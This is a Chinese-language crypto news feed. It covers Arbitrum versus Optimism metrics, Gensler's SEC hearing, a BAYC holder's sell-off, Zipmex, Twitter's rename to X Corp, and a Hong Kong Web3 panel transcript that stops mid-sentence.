    撰写：Emperor Osmo 编译：深潮 TechFlow 以太坊二层解决方案已经有了许多不同的选择，而 Arbitrum 和 Optimism 被认为是市场上最具竞争力的两个参与者。但问题在于加密货币巨鲸们（例如 Andrew Kang）一直在购买价值数百万美元的 $ARB，而不购买 $OP。这是否表明 $ARB 仍被低估，导致鲸鱼大量购入？ 在本文中，加密分析师 Emperor 将从 TVL 和合约部署量等指标出发，以解释这个问题。 在宣布进行 Arbitrum 空投后，我们目睹了 $ARB 巨鲸活动的增加，时常会发现数百万美元的购买量。 与之形成对比的是，$OP 并没有经历同样事件。一般说来，巨鲸们只购买被低估的项目，以下是他们选择 $ARB 的原因。 3 月 16 日，$ARB 宣布其空投日期为 3 月 23 日。这是 Arbitrum 最活跃的一天，与 Optimism 形成了鲜明对比。 在空投当天，两个链的活跃地址为： 表明 Arbitrum 的势头正旺。 每日交易数量也显示出类似的数据，在空投当天： 值得注意的是，Optimism 的交易活动出现了显著增长，缩小了两者之间的差距。 TVL 的增长对 Arbitrum 生态系统产生了重大影响。在空投当天，我们记录了以下 TVL 金额： 自那时以来，Arbitrum 的 TVL 增加了 9％，而 Optimism 的 TVL 下降了 3％。 当观察稳定币流动性时，变化更加明显。在空投当天，这些是流动性价值： Arbitrum 的稳定币流动性已经增长了 27％，而 Optimism 的稳定币流动性今年已下降了 6％。 以下的项目是这种变化的明显受益者： 当然，流动性的增加导致了在 Arbitrum 上 DEX 数量的激增，这也显著增加了交易量。在空投的时间段内，$ARB DEX 的交易量几乎达到了历史最高水平，14 亿美元。 与此同时，$OP 的交易量约为 1 亿美元。 Arbitrum 是否被高估？ 在我看来，将其 TVL 与 Optimism 相比较时，被高估的似乎是 Optimism。 目前， $OP 和 $ARB 的市值与 TVL 的之比都为 0.9。 $ARB 价值最近的飙升反映了过去一周 Arbitrum 市值的增长。 目前，Arbitrum 占据了大部分市场份额，以及我不认为这些流动性最终会转向 Optimism。每秒总交易量（TPS）的数据如下： 我正在监控的最后一个指标是链上合约的开发数量，对我来说它表示正在产生的价值。 平均而言，$ARB 已经部署了超过 6000 多个合约，而 $OP 大约只有 1000 个。 没错，这两个生态系统都提供了不同的价值主张。 然而，与 Optimism 相比，Arbitrum 在创新和技术方面仍然具有更加重要的价值，而这种价值仍尚未被市场完全体现。  ( 3 min )
    俄罗斯央行拟允许对外结算在“实验”环境中使用加密货币
    PANews 4月19日消息，据俄新社报道，俄罗斯央行行长Elvira Nabiullina表示，俄罗斯央行计划允许交易公司在受控的“实验”环境中将加密货币用于对外结算。 在俄罗斯国家杜马与立法者会面时，Nabiullina称：“我们坚持在国内不应使用加密货币的立场。但对于外部支付，我们认为它应该可以通过实验的形式实现。”她证实，一项法案草案正在“准备中”，并将创建“特别监管机构”来监督参与“实验”的公司。 央行副主席Aleksey Guznov表示，目前正在进行一项“分析”，以确定哪些公司应该被允许使用加密支付。Nabiullina补充说，在第一阶段，该实验将允许国营机构参与，不排除未来可能会有私营公司参与。  ( 1 min )
    知名NFT投资人短时抛售大量BAYC，到底发生了什么？
    原文：《赌博+被Rug，知名NFT投资人为还债抛售20余只BAYC》 作者：Kxp、Leo BlockBeats 昨日，知名 BAYC 持有者 Franklin 在社交媒体发文称，由于自己需要紧急处理一些债务问题，他不得不在流动性尚可的情况下抛售大量 BAYC，以偿还 BendDAO 贷款。并表示将暂时退出 NFT 交易和社交媒体，专注于自己剩余的 BAYC 和个人生活。该 Thread 一时间获得大量关注度，BlockBeats 梳理了一下 Franklin 售出 BAYC 的前因后果，如下： Franklin 陆续出售 29 只 BAYC Franklin 于 4 月 13 日上午 8：35 开始陆续卖出持有的 BAYC，Franklin 昨日第一笔 BAYC 交易 为 13 日 8:35，最近一笔 BAYC 售出时间为 14 日 14：35。 图为 Franklin 昨日第一笔 BAYC 交易 经查询，从昨日到现在，Franklin 共卖出 29 枚 BAYC，均售价 55 ETH 左右（共约 605 万美元），目前其地址还剩 2 枚 BAYC（BAYC#3060 与 BAYC#4865），且还在 list。 正值 NFT NYC 大会之际，BTC ETH 价格都迎来了 2023 新高，NFT 圈也充满了利好情绪，大多 NFT 系列地板价和成交量也都在上涨，但 BAYC 系列 NFT 地板价却因 Franklin 的抛售而下跌。4 月 13 日 Franklin 开始抛售 BAYC 后，该 NFT 地板价从 57.45 ETH 下跌至 54.78 ETH。 出售 BAYC 起因 随后，Franklin 也解释了抛售 BAYC 的原因，他称在此前的一项投资中，被骗了近 2000 个 ETH，当时他之所以投资，是因为「该项目其余投资者的身份」让他觉得该项目很可靠。随后有人将他们的资金用于「赌场里的庞氏骗局」，导致最终该投资项目一文不值，Franklin 并未透露该 Rug 项目的信息，Franklin 表示：「也希望其他人可以从这件事中吸取教训」。此外，Franklin 还提到，他在 Rollbit 上进行菠菜游戏也亏损了约为 650 个 ETH。 Franklin 也解释了自己投资的 Rug 项目与 Rollbit 无关，自己在 Rollbit 上亏损的钱是在自己可承受范围内的，尽管他在 Rollbit 上亏损了大量资金，但这并非抛售 BAYC 的主要原因。Rollbit 亏损，投资项目 Rug，一起成了压垮骆驼的稻草，Franklin 称现在还不适合详细说明这些问题。 Franklin 建议大家不要赌博，也不要发送任何未抵押的 ETH。他强调，自己将不再透露任何更多信息。 结语 Franklin 发文说专注于剩余 BAYC 和生活后又陆续出售了很多 BAYC，最近一笔售出 BAYC 于两小时之前，以后还会不会出售剩余的 BAYC 不得而知，但对于 Franklin 来说，从 BAYC 持有大户到几乎卖掉所有 BAYC，从高峰至低谷仅用了 1 天时间。 BAYC 持有大户，资金充足，但因为错误投资和菠菜毁掉了几乎自己的一切，该事件也给大家带来两点警示： -投资项目之前要做足够的调查，不要因为其余项目投资方的身份而盲目参与； -链上菠菜虽然足够透明，但还是大概率带参与者走向深渊。  ( 3 min )
    遭议员炮轰，被提议罢免，“加密鹰派”美SEC主席在众议院听证会上说了什么？
    原文：《遭共和党人炮轰，一文了解美SEC主席在众议院听证会中说了什么》 作者：比推BitpushNews Mary Liu 当地时间4月18日，美国证券交易委员会（SEC）主席Gary Gensler出席众议院金融服务委员会听证会，为该机构的激进监管做法辩护，这是 Gensler 自 2021 年 10 月以来首次出现在专家组面前，也是他首次出席由共和党控制的众议院金融服务委员会听证会。 背景：行业怨声载道，共和党议员提议罢免Gensler 自去年 FTX 交易所倒闭以来，Gensler 领导下的SEC大幅加强了针对加密行业的执法力度，并且专门针对行业的头部参与者，例如向Coinbase发出Wells通知，起诉波场创始人孙宇晨(Justin Sun)及与他有关的Tron基金会、BitTorrent基金会等。 这些行动引起了共和党人的批评，议员 Warren Davidson 提出一项新立法，要求罢免 Gensler 并由美国证监会的执行董事来弥补空缺。众议院金融服务委员会主席Patrick McHenry在其推文中表示，SEC对加密货币的打击未能为数字资产市场带来稳定，他写道：“你们的做法正在推动海外创新并危及美国的竞争力”。 美国企业团体也在反对SEC的激进监管，美国商会资本市场竞争力中心执行副总裁 Tom Quaadman 最近致函众议院金融服务委员会，该组织称：“美国证券交易委员会的大量规则制定是前所未有的，值得国会密切审查。” 在听证会之前，共和党立法者的专家组向 Gensler 发出了一封公开信，抨击了 SEC 的数字资产监管，尤其反对Gensler一再呼吁加密货币交易平台在该机构注册的行为。 立法者写道：“你们未能提供允许数字资产交易平台注册的途径，如果没有明确的道路规则，你推动公司‘进来注册’是对美国证券交易委员会不存在的注册程序的故意歪曲。缺乏注册人的唯一责任实体是美国证券交易委员会自己。” Gensler：大多数加密代币都是证券 Gensler 对共和党立法者的批评置之不理，他在向众议院金融服务委员会提交的书面证词中表示：“……鉴于大多数加密代币都是证券，因此许多加密中介机构都在进行证券交易，并且必须在美国证券交易委员会注册。” 众议员 Josh Gottheimer 在听证会中表示，SEC为希望合规的数字资产公司提供的具体指导非常“有限”，Gottheimer 说：“在你的领导下，SEC主要使用执法行动来促进合规，我担心在正常规则制定过程中缺乏正式指导会在该领域造成更多不确定性。”Gensler 回应称，SEC 已经给出了更多正式的定义和更新，很快将会出台这些新措施。 Gensler称：“在过去两年中，我们提出了近 1,500 起执法行动，并对注册人进行了 6,000 多次检查。我们与 40,000 多名注册人进行了接触——资产管理公司、经纪人、交易商、交易所、基金综合提供商、上市公司等等，机构敬业的员工用有限的资源完成了出色的工作。” 听证会上，众议院金融服务委员会主席 Patrick McHenry 多次问及 SEC 主席 Gary Gensler“以太坊是商品还是证券”，Gary Gensler 一再拒绝明确回答，理由是SEC向来不便对具体案件的“事实和情况”发表评论。 当被问及 Ripple 的代币 XRP 是否是一种证券时，Gensler 回应称，目前正在审理此案。 McHenry 还暗示SEC和商品期货交易委员会（CFTC）之间可能存在的“地盘争夺战”，负责监管衍生产品的 CFTC 主席 Rostin Behnam 曾表示，以太坊属于 CFTC 的管辖范围。而纽约总检察长 Letitia James在针对加密公司 KuCoin 采取的执法行动中称以太坊为未注册证券。因此，以太坊属于证券还是商品仍未在联邦层面达成共识。 几位共和党人在听证会中提到了SEC对 Silvergate 最知名客户 FTX 的处理方式。McHenry 最近致函 Gensler，要求其提供有关 SEC 对 Sam Bankman-Fried 指控的更多信息，Gensler 周二表示，他有义务对调查事项保密。 纽约州众议员 Ritchie Torres 问为什么SEC选择不对币安等其他离岸公司采取行动（特别是在 FTX 失败之后），Gensler 表示，该机构致力于对任何与美国投资者互动的公司采取适当行动，即使这些离岸公司未在美国注册。 Gensler 认为，离岸公司可能与美国客户非法开展业务，并且 SEC 对这些案件具有管辖权。Gensler称：”建立调查文件需要更长的时间。与离岸执法机构合作有时需要更长的时间，坦率地说，如果涉及外国公司，让他们遵守传票具有挑战性”。 著名的加密货币盟友、众议员Tom Emmer问 Gensler：“您是否担心您对数字资产行业的做法实际上正在将这个行业赶出美国？” Gensler 回应道：“我正在努力推动它合规，如果他们不遵守法律，那么他们就不应该向美国投资者提供产品，如果他们遵守法律并为投资者做正确的事，他们就可以在这里”。 稳定币监管也是SEC和CFTC争夺管辖权的核心。CFTC主席 Behnam 上个月表示，在国会和拜登政府新的全面监管框架未出台之前，稳定币属于CFTC的管辖范围，而美国证券交易委员会也宣称对这些资产具有管辖权，Gensler 曾在2021年签署了一项行政提案以创建该框架。 听证会上，共和党议员 French Hill 询问Gensler是否希望看到围绕稳定币制定法律，Gensler 给出了有条件的肯定，但警告说“不要破坏 100 万亿美元的资本市场”，他表示，支持由财政部长 Janet Yellen 领导的监管小组提出的稳定币立法建议。 在听证会期间，Gensler 还试图将硅谷银行和Signature Bank最近的失败与他们与数字资产行业客户的合作联系起来，并指出 Circle 在硅谷银行持有 30 亿美元的 USDC 储备。 听证会中，由高级成员Maxine Waters（加州民主党人）领导的民主党立法者为 Gensler 的数字资产战略辩护，Waters 辩称，他的做法与前任美国证券交易委员会官员的做法“截然不同”。 近几个月来，SEC一直在加大对加密公司的执法力度。比推此前报道，其最新的行动是指控总部位于西雅图的交易所 Bittrex 未在多个领域向金融监管机构注册，未能遵守证券法。该机构声称，主流加密货币Dash、 Algorand 具有类似于证券的特征。听证会当天，Coinbase 首席执行官Brian Armstrong在创新金融全球峰会上表示，由于美国的加密监管仍不明朗，“任何事情都'摆在桌面'上，包括搬离美国”。The Telegraph报道称，Coinbase 正在考虑迁往英国，并指出英国是 Coinbase 的第二大市场。 风险投资公司 Electric Capital 上个月发布的一份报告显示，美国区块链开发商的市场份额正在缩小，该研究称加密行业的“明确和支持性法规”是未来吸引此类专业人士来到美国的关键。  ( 3 min )
    Zipmex已向新加坡法院申请将重组计划延期2个月，以重新寻找投资者
    PANews 4月19日消息，加密交易所Zipmex发布投资过程更新公告，该交易所投资方最初要求Zipmex Asia修改投资金额，这影响了新加坡法院批准的原安排计划。截至今天，投资方声称SSA（买卖合同）已经失效，并且不再有义务遵守SSA的条款。投资方还要求Zipmex偿还其营运资金贷款。公司现正与投资方讨论，以寻找适合各方的最佳可行解决方案。 公司意识到投资者的新投资金额将对Z钱包重新开放的时间表产生影响。因此，Zipmex目前正在与新的投资方进行谈判，以最大限度地提高客户的回报。这使得投资过程需要额外的时间，因此，Zipmex Asia已向新加坡法院提交申请，将暂停期再延长2个月。法院尚未确定审讯日期。公司计划利用这段时间寻找重新开放Z钱包的解决方案。 此前3月24日消息，加密交易所Zipmex的救助投资者未能付款，公司警告员工Zipmex或将清算。  ( 1 min )
    Arbitrum本周将对生态中的符合条件的DAO全面发放初始代币分配
    PANews 4月19日消息，据官方推特，Arbitrum宣布将对生态系统中符合条件的DAO发放初始代币分配。目前，多数DAO已公开确认其接收ARB空投的目标地址，今日将开始对那些公开提供其金库钱包的交易进行测试，本周晚些时候将进行全面分发，并继续等待一些DAO提供其地址。此次代币分配不是赠款，而是1.13%的初始代币分配。  ( 1 min )
    Twitter告知企业用户其现以X Corp.的名义开展业务，正在转向“万能应用”
    PANews 4月19日消息，据福布斯报道，Twitter, Inc.周二通知其商业客户，该公司现在以X Corp.的名义开展业务，证实了此前在法庭文件中所表明的过渡，首席执行官埃隆·马斯克(Elon Musk)继续重塑这家社交媒体公司，以实现他对X Corp.“万能应用”的最终愿景。” 这封电子邮件以“X Corp.（前身为 Twitter, Inc.）”结尾，强化了这一变化，该公司在上周首次报道的4月4日法庭文件中首次正式披露了这一变化。该公司的服务条款现在列出了“X Corp.”。作为公司的正式名称，但尚不清楚何时进行了此更改。此封邮件表明Twitter将保留社交媒体网站的名称。此外，X Corp.在内华达州注册成立，而非Twitter以前的注册地特拉华州。  ( 1 min )
    蔡文胜、冯波、曾鸣大佬对话：Web1到Web3的进化 | 香港Web3嘉年华
    主持人：曾鸣，阿里巴巴前首席战略官 嘉宾：蔡文胜，天使投资人、美图董事长； 冯波，Dragonfly.xyz 创始人 从 Web1 到如今风头正劲 Web3，每一次网络范式的演进，都将引发社会化模式的变革。在由万向区块链实验室、HashKey Group 联合主办，W3ME 承办的 2023 香港 Web3 嘉年华上，天使投资人&美图董事长蔡文胜、Dragonfly.xyz 创始人冯波、阿里巴巴前首席战略官曾鸣等嘉宾共聚圆桌讨论，探讨 Web1 到 Web3 的演化进程为社会、企业及个人带来的机遇与挑战。圆桌由曾鸣主持。 曾鸣：各位尊敬的来宾，下午好！大家听了一天非常重磅的内容，稍微换一换节奏，换一换方式。我们三个人的共同特点是职业生涯、人生最重要的一点是，陪伴互联网从 90 年代初开始，无论是作为直接的从业人员、投资人、研究者，看到了互联网到移动互联网、到 AI 的发展，也目睹了 Crypto 过去 7、8 年的发展。我想利用这次机会向大家分享一下这些年看到的各种各样的成功案例、失败经历，以及「江湖传闻」，换个方式跟大家分享一下从过去学到了什么，看到了未来可能发展的趋势。 蔡文胜：就像曾鸣讲的，我和冯波出场的时候，大家对我和冯波的介绍经常是「从 Web1 干到 Web3 的人」。这看起来是称赞，其实也说明我们从 Web1 到 Web3 都没有成功，我们一直在路上。但还是要自我表扬一下，Web1 到 Web3 很多人都不在了，但我们还在，说明我们是老兵，老兵不死，只是慢慢凋零。 从 20 几年前的 Web1，到 Web2 再到 Web3，时代一直在变，但我和冯波、曾鸣都在最早期的时候介入。我今天刚好在网上看到「这次的峰会为什么叫 Web3，而不是 Web3.0？」其实是有区别的，Web1.0、Web2.0、Web3.0 是从技术的角度讲 Web1、Web2、Web3，为什么叫 Web3？也是第三代互联网。 以我自己的理解，Web1 是 Yahoo、新浪时代，那个时代是偏中心化的，我们所需要的信息是由新浪、Yahoo 等提供的。Web2 是 Google、百度、微信、Facebook，开机可以互动，开机可以有所选择。但是 Web2 没有解决的问题是注册一个账号，需要微信同意，甚至 Twitter 同意。有一天 Twitter 不开心了，哪怕是特朗普的账号都能封闭，你也没办法告它。Web3 最核心的是未来同样有平台，但是注册账号是不需要经过平台同意的。 第二，你可以自我掌握数据。 第三，你所拥有的数据可以变现，有价值，成为平台价值拥有者，这是最核心的变化。 我先说到这里。 冯波：我观察下来，大多数参会人员都是创业者，香港是个很好的平台，欢迎你们来香港创业。 在行业当中，今天还是在互联网时代，互联网时代 Web3 只是代号，下一代互联网应用最好的互联网产品是比特币和以太坊，并不是今日头条和美团。下一代的基础上，互联网下半场开始，用互联网的形式来管理和交互资产和有价值的信息。 现在还没有真正的 Web3 公司出现，现在大家都坐在这里，为什么那么多人呢？因为大家都在寻找方向。今天只不过是展望方向，至于 Web3 是什么，其实大家都不知道。曾教授可能比我们了解得多一点，可以展望一下。 蔡文胜：波哥最早九几年投了新浪，两千零几年也入局了移动互联网，当时的心态和现在投 Web3 有哪些不一样？ 冯波：当时第一个公司是亚信，当时是在 Kabo（音），互联网整体基建，像丁健发明了拨号上网，有 ChinaNet，然后就有了四川 Online、上海 Online，新浪是后面的，从 SSR Net，当时我们投的是软件公司，软件公司看到互联网机会，当时有 BBS，就说把 BBS 改成让社会都能使用的东西。 当时的历史阶段很有意思，讨论是 SSS Net 是专业软件工程师用的，就像现在用 DeFi，现在用 DeFi 都是专业人员，都是受过训练的。BBS 谁会用呢？一般用户不一定会用。DeFi 会经过同样的过程，以后的 DeFi 就像开冰箱、微波炉、手机一样，没有那么多烦琐的步骤，那时 DeFi 会成为人类文明最重要的金融手段了。 到了 Web2 的时候，我第一个投资的公司是豆瓣，当时吴世春创业的时候来找我，介绍了做搜索的陈华给我，我们就做了酷信公司。但当时做搜索是把很多没用信息爬过来，然后我们请了一鸣，试了火车票、旅游、房产信息，都没有很好的信息价值，后来就把公司卖掉了。后来一鸣尝试拿着东西做房产，但是也没做成。 正好那时候移动互联网开始了，移动互联网的屏幕小，需要新闻的头条，大家都看头条，所以他就起名「今日头条」，以此为切入点。 在座创业者，你们也想一下，真正的方法论不是 360 度的转弯，是微调，微调可以找到非常大的契机，Web3 对所有的创业者来讲都是很好的机会。 蔡文胜：冯波的启发是投得早不如投得巧，冯博士最早 1997 年就投新浪了，一直到 2000 年泡沫破裂，后来就暂停。张一鸣当时做酷信的时候他还第一个投了，但因为投得太早，后面就没有跟进。 冯波：Crypto 行业也是这样的，我们正在经历人类文明的巨大进步，基础建设也好、应用开发也好，不是地方型的，就像互联网，虽然有地方的 Adoption，但最主要的是全人类的基础更新、技术更新、社交革命。在过程中千万不要着急，因为 Crypto 太自由，一键就能毁终生，太自由的时候会引起很多不必要的牺牲。各位创业者要注重最根本、最本质的创新，让时代慢慢展开，不要着急。 蔡文胜：其实我也一样，我当时第一个创业的项目是 Web1 时代的导航网站 265，2008 年卖给 Google，卖了 2000 万美金，已经非常满意了。但后来我有个好朋友庞东升，模仿 265 做了 2345，后来在 A 股上市，最高到 400 亿人民币，所以有时候太早套现也不对。 后来我在移动互联网创业美图，又太早了，最早的短视频是美团出的美拍，但因为出的太早，没有认真思考，所以后来的机会给了快手和抖音。 我和冯波的失败经历给大家的启发在于，创业行业是长跑，有时候不要太计较短时的利益，如果太着重于眼前的价值，就无法得到最大的发展。 我今天来会场的时候非常震撼，场外都是密密麻麻的人。我现在都怕出席这种场合，因为你到这个场合会有无数人想要跟你拍照、交换微信。我现在很怀念 20 年前，20 年前的时候我到北京谁也不认识，可以坐在台下静静地听别人的分享，也可以主动找寻我要的有用的东西。每个人应该好好珍惜自己作为无名之辈的时光，因为那个时候才是积累的好机会。 冯波：我问曾教授一个问题，你研究得比较深，在未来的技术革命中，一个是 Web3 应用形式，一个 Crypto，一个是 AI，你觉得这三样东西在未来十年会怎么样交错发展？ 曾鸣：讨论未来是最有风险的事情。 冯波：也是最安全的事情，因为谁都不知道。 曾鸣：每个人用词都稍微有点不一样，我把 Web3 当作一个代表未来大的技术变革的整体概念来讨论。它有三个技术大变革的驱动，但哪一个是热点一直在变，一个是三年前左右最火的 Metaverse，Metaverse 背后的技术驱动力其实是 AR 和 VR。 讲到「投资太早」，我第一次去看 Magicleap 公司的 AR 眼镜的 demo。我当时看完的第一个感觉是这不是效果好不好的问题，是你真的分不清将来什么是真的，什么是 Virtual 的。后面这个产品在 Energy saving、Portability 上有一些关没过，最后产品没出来。但是当时 AR 技术如果突破了，其实是人机互动的大突破，从最早键盘到手机的拇指输动，再到现在开始马上会火的语音，语音也走了 10 年。下一步如果通过眼睛可以和 AI 或者互联网互动，那会是一个创造性的突破。再往后是脑机互联。这是人机交互界面的突破，从这个意义上来说，AR、VR 还是非常让人期待的技术。 如果 Apple 今年的产品能让大家感到惊艳，那会是个很大的突破；如果达不到效果，可能又得折腾两三年。 第二，我们一直在讲 Blockchain、Crypto 的发展，从比特币到现在不过十多年，成功的地方是有了比特币强大的共识，有了以太坊 New computing platform、 Smart contracts。Crypto 本质是生产关系的革命，它提供了去中心化的网络，能够让资产的流转、交易变得更加高效，但现在的问题是没有足够多的 Digital asset 来流转和交易。 我觉得 Crypto 处于从 1.0 向 2.0 发展的尴尬阶段。一方面 Infrastructure 需要继续突破，这是为什么过去两年 Layer2 得到这么大的重视，ZK 有很多突破，因为以太坊的生态或者其他供应链生态，在安全性和隐私保护基础之上，必须解决 Scalability、应用性、成本的问题。在基础设施的发展基础上，再形成下一轮应用创新的突破。 本来我去年相对悲观一点，我觉得 Crypto 下一波的发展还没那么快。但是过去的半年，AI 大的突破还是很让人震撼的，我认为 GPT 是通用人工智能的一次技术突破。 ChatGPT 是不是最后的赢家？是不是这轮智能 AI 产品的冲击形态？现在还有很大的变数。 总结一下，我觉得 Web3 三个支柱型的技术，AI 给我们带来了惊喜，进入了下一个发展阶段，我们会看到未来两年有很大的突破。我个人认为 AI 技术的突破又给 Crypto 世界带来非常大的价值，AI 会创造非常多的 Digital asset，这些 asset 可以通过 Blockchain、Crypto 给所有的参与者带来更大的价值。这两个结合可能会催生未来 creator economy，我觉得那是一个很大的方向。在那个意义上，我们会迎来 Crypto 2.0。 如果 AR、VR 眼镜需要两三年的时间去酝酿，我觉得三年左右会迎来 Web3 的第一次大爆炸。无论是应用还是基础设施，那个时候会非常让人兴奋，那次的大爆炸应该能带动整个经济往前走 10 年左右。 冯波：今天香港欢迎大家参与 Web3，想把自己在新文明演变过程中变更成为一个新的城市。我们再回顾一下，现在处在什么样的文明阶段？我觉得正在走向软件文明，和工业文明说再见。 在软件文明中，我们已经有了价值锚定的比特币，人类用 Internet 所创建的最好的产品就是比特币，因为以前的商业模式改变了地方性的美团、今日头条，但比特币改变了人们怎么制造货币，怎么锚定价值，这是互联网最大的产品。 第二个成功的是以太坊，以太坊是一个基因机体，它代表了未来软件文明的信任机制。在这个基础上，我们走入这个文明的时候，Web3 的大爆炸都是在这个基础上，未来靠着大家创建的无数新应用。这个应用从哪儿来？我们也不知道，这个时代和审美观是正确的。 蔡文胜：Web3 和区块链为什么走得那么艰难？因为它更多是生产关系的改变，触及的是组织结构，甚至是国家结构的改变，所以它一定会遭到原来传统既得利益者的不信任甚至阻碍。 现在 AI 的发展意味着生产力的提高，任何一个国家和社会都要拥抱它。AI 能够推动 Web3 实现更大的发展，所以我同意曾鸣教授说的，未来这三年可能会产生很大的爆发。 二十几年的互联网发展更多是信息的改变，并没有触及价值和重新分配层次，但现在到了。就像互联网以前没怎么改变银行系统，最多让它效率高一点。这次美国硅谷银行的倒闭可能也是一个契机，让这些传统的银行重新去思考是不是要拥抱 Crypto、Web3 的契机。 冯波：今天没有经济危机，也没有金融危机，就是法币的危机，法币的危机就是美元怎么造的、怎么分布的、怎么分配的、怎么储存的，这套系统完全失败了。美元的对手盘是比特币，比特币创建了什么？去中心化的治理结构、挖矿、区块链技术。延续这个技术，人类才开始以太坊一系列的发展。 这个东西是技术和社交上的革命，用互联网改变了人类以后怎么交换价值？怎么交换劳动力？怎么交换金融服务的体系？ DeFi 就像电子商务面对传统贸易，所以未来我们想把整个金融服务搬上链，这个大的体系需要很漫长的基建过程。 曾鸣：我补充两点，很有意思，以前的技术革命，对于社会来说技术是中性的，只有区块链的技术革命很不一样。 我们从 BTC 讲起，BTC 在诞生的第一天就有着非常清晰的价值观，去中心化到今天的 Network society，它有一个很清晰的价值观。 冯波：个人是基础，越自由，越高效，人类文明的两大发动机：自由和高效。互联网已经很自由、很高效，但 Web2 公司把它搞得不太自由，但是很高效。 现在 Web3 是纯自由、纯高效，自由、高效才是最先进的制度，人类文明永远朝着先进、制度进化的。 曾鸣：这儿有两个问题都很相关，问得比较有意思，Web2 到 Web3 的用户迁移。 如果大家照我刚才讲的 Web3 定义，其实这个问题的表述，根本的问题是原来 Crypto 环境下做不出有海量用户的应用。所谓把 Web2 往 Web3 搬，都会发现我到底要 Crypto 做什么？如果真的把所有都放到 Web3 的角度来看，我们有 AI 技术的突破，有 Crypto 作为 Value network 的基础设施，未来可能还有 AR、VR 的技术突破。 我们可以想象，也许两三年以后会有一款非常震撼的游戏，这个游戏用到了 NFT，用到所有价值交换的网络，实际上又用到了 AIGC 技术带来体验的突破。如果那时正好还能用 VR 眼镜看，完全是沉浸式的体验，那时会是一个产品达到了对于 Web2 质的飞跃，那可能是完整 Web3 技术的原型，那时自然就发生了用户的迁移。 过去一年多 Web2 到 Web3 的用户迁移，我觉得是个伪命题。今天 ChatGPT 出现的时候，两个月就过了 1 亿用户，没有人讨论怎么从谷歌迁移，大家第一天的反应是谷歌要完蛋了。大家都在想无数办法，要把所谓传统 Web2 用户搬到 Crypto，搬到窄义的 Web3 来，我觉得那就是走错了方向，我们肯定是没有创造出足够大的用户价值，让用户直接上来。 冯波：我觉得 Web2 和 Web3，或者 Web3 和 Web2 最大的区别是审美观的区别。大的迁徙已经开始了，至于人群从哪个桥过，大家可能不知道。 电子商务的第一次胜战是在 2002 年的 SaaS，SaaS 第一次被大家关在家里。但是 SaaS 以后，很多人群第一次尝试电子商务。在 2000 年的时候，有一个小组专门讨论什么样的用户适合电子商务的，结论是全人类，当时我们花了很长时间讨论，什么样的用户适合 Crypto？全人类，只不过我们还没有很多应用体系，因为基础设施的瓶颈。 比如当时第一个 Online 世界杯点球 Video 发到新浪的时候，我们录了 4 个小时才录下来，从那时怎么设计出 Tiktok？不可能设计出 Tiktok。一样的道理，人类的演变和工具文明是按照一个个系统，我们今天只是在早期的系统。 蔡文胜：我补充一下，大面积用户的普及可能和硬件、技术有一定的关系。 的确，Web1 中国互联网在 2003 年的时候，那时只有 2000 万用户，2003 年发生了非典，大家在家里，当时推动它发展的是游戏，电子商务是后面两年，当时盛大出了《传奇》的游戏，这是一个应用的出现。第二个应用是带宽，在 2003 年以前，中国基本上没有宽带用户，2003 进入宽带。 冯波：当时最麻烦的是收费，短信收费救了互联网好多年。 蔡文胜：移动互联网的爆发与两个东西有关系，早期他在 2004 年 -2008 年一直在投移动互联网，当时投的是塞班系统。包括当时的 HTC，那个系统不够好，技术不全面，2009 年 iPhone 的横空出世，包括安卓在 2010 年出现以后，整个操作系统带来巨大的革命。 以中国为例，真正在中国普及也是 2011 年、2012 年华为、小米的出现，把手机的卖价成功降到 2000 块以下。 冯波：当年新手机出来以后，当时装机量最高的是今日头条和大众点评，因为买了手机以后必须要装机。 蔡文胜：谷歌刚出来第一代第一台都七八千块，你是很难接受的。 我们在谈的 Crypto，现在以太坊费用已经降到 1、2 美金，但还是相当于十几块人民币，能不能再降一个台阶？熟度再到一个台阶。 第二个条件，就像 2003 年时的游戏，游戏最容易拉动用户。刚才波哥讲了，2004、2005 年通过 SP 发短信赚钱包月，有点属于游戏娱乐的内容。 冯波：我投了 OKEX，老徐以前跟我讲，你知道吗？以后存款都存比特币和以太坊。今天大家再想想，美元的银行系统已经崩塌了。我相信在三年以后，全球会有 20 亿人存数字货币，至于是游戏赚来的，还是跑步赚来的，还是打 3D 麻将赚来的，无关紧要，重要的是 DeFi 会成为全球赖以生存的金融体系。包括 NFT，NFT 是一个工具，NFT 是全人类最小经济体，就像 Tiktok 是全世界最小的电视台。 我们现在正在经历技术革新，而这个技术革新是人类文明从此以来第一次照顾到每一个人。原来的革新都是 Benefit 统治者，这是全民革命。 曾鸣：在这个意义上，只有我们三个人讨论得比较多，也有很多共识。 我觉得比特币有点像横空出世的天才产品，有点超越了它的时代，我们花了很多时间把比特币背后所代表的价值观、世界观通过区块链、以太坊、DeFi 一轮轮的创新，把它往前推进了一大步。 有一次跟朋友聊天，聊到最后他反复问一个问题：会不会 Crypto 所有的公司最终还是乌托邦？我当时说即使是乌托邦，人类社会的文明都是由一次次乌托邦的社会实践推动的，每一次乌托邦总会留下一些有价值的东西，推动社会往前进。 得益于 AI 的发展，在 Web3 时代，接下来这几种技术创新会和之后产生巨大的爆发力。 以前我们也讲过，整个 Crypto 就像是给机器人做的，不是人和人的协同，更加像机器和机器之间的协同。如果 AI 爆发以后，更多的事情是机器和机器之间。以太坊的 Smart contracts 就是最简单的命令，但是可以被机器执行的简单命令可能就是机器世界最 Smart 的做法。 我们经过了面向未来这么多年的努力，也许很快会迎来一次真正的技术大爆炸，我的感觉越来越强烈。 蔡文胜：我们知道技术的发展都会带来大量失业，就像当时汽车、拖拉机的出现让很多农民失业。100 多年前，美国 95% 是农民，现在不到 2%，后来第三产业（信息业）的发展，让产业工人失业。 接下来 AI 的发展会不会让大部分失业？一定会的。 冯波：更好的就业。 蔡文胜：我觉得 Web3 能解决这个问题。怎么说？剩下的 80% 要干什么事？ 举个例子，那时五十几岁了，每次回老家，我发现我同学二十年天天不干活，天天打麻将，我老家是农村，他们不干农活。 蔡文胜：未来可能 80% 找不到工作，但他们还能赚钱。未来玩游戏也给你钱，未来你看电影也给你钱，未来本来应该娱乐的东西，通过 Web3 也能赚钱，变相解决 80% 的就业。 冯波：更好的就业，在农田里是苦力活，一样的。 曾鸣：我们还有几分钟的时间，你们两个还有什么想讲一讲的？ 冯波：我觉得香港选择了很好的历史时机，欢迎像你们这样的创业者来。香港有传统的金融，而且有勤劳的香港人民，香港如果延续现在的势头，一定会成为未来经济重要的城市，也祝愿香港和那么多支持香港的朋友迎来新的金融和科技春天。 蔡文胜：其实每次大的改革来临之前，大部分人开始是短期盲目乐观的，觉得很快就要改变世界各个方面，但是对中长期老是太过悲观。 我记得 2000 年的时候，当时的王峻涛是 